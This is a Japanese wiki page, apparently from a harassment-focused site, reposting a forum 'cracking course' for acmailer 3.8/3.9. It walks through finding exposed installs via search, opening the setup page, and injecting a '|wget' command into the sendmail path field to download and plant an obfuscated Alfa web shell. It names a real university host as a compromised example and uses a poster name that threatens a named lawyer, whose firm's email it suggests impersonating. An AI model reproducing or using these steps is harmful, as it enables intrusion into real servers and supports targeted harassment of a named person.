唐澤貴洋Wiki:チラシの裏/acmailerカラッキング講座

提供：唐澤貴洋Wiki
ナビゲーションに移動 検索に移動

2023年7月17日大熊翔のacmailerカラッキング講座の改良版がコロケーにて投稿された。

手順

【唐澤貴洋殺す】雑談★1【コロケー】>>26471(魚拓)
26471 ：唐澤貴洋殺す：2023/07/17(月) 22:20:51.85 HOST:marcuse.nos-oignons.net
acmailer　カラッキング講座改良版

"acmailer3.8"とか"acmailer3.9"で検索する
例 acmailer3.8 site:ac.jp
出てきたサイトURLの末尾の/???.cgiを消して
を削除してinit_ctl.cgiを加える
初期設定画面が表示されたら
差出人名:唐澤貴洋とか
メールアドレス:info@hoge.com(サイトのurl)とかinfo@steadiness-law.jp
ログインID:krsw
ログインPW:krsw
sendmailパス:「|wget -O a.php https://github.com/nicolauns/alfa-shell/raw/master/alfa-obfuscated.php[1]」
これでシェルを設置できる
CGI設置URL:http://hoge.com/hoge/ （httpにしないとなぜかエラーが出る）
CGI設置場所:そのままでおｋ

これで設置できたら/a.php
でシェルに飛べる例
http://health-uv.umin.ac.jp/cgi-bin/mailer/a.php
http://health-uv.umin.ac.jp/cgi-bin/mailer/index.cgi

脚注

  1. ↑ 現在は https://raw.githubusercontent.com/nicxlau/alfa-shell/refs/heads/master/alfa-obfuscated.php にURLが変わっているので注意
「https://krsw-wiki.in/index.php?title=唐澤貴洋Wiki:チラシの裏/acmailerカラッキング講座&oldid=146493」から取得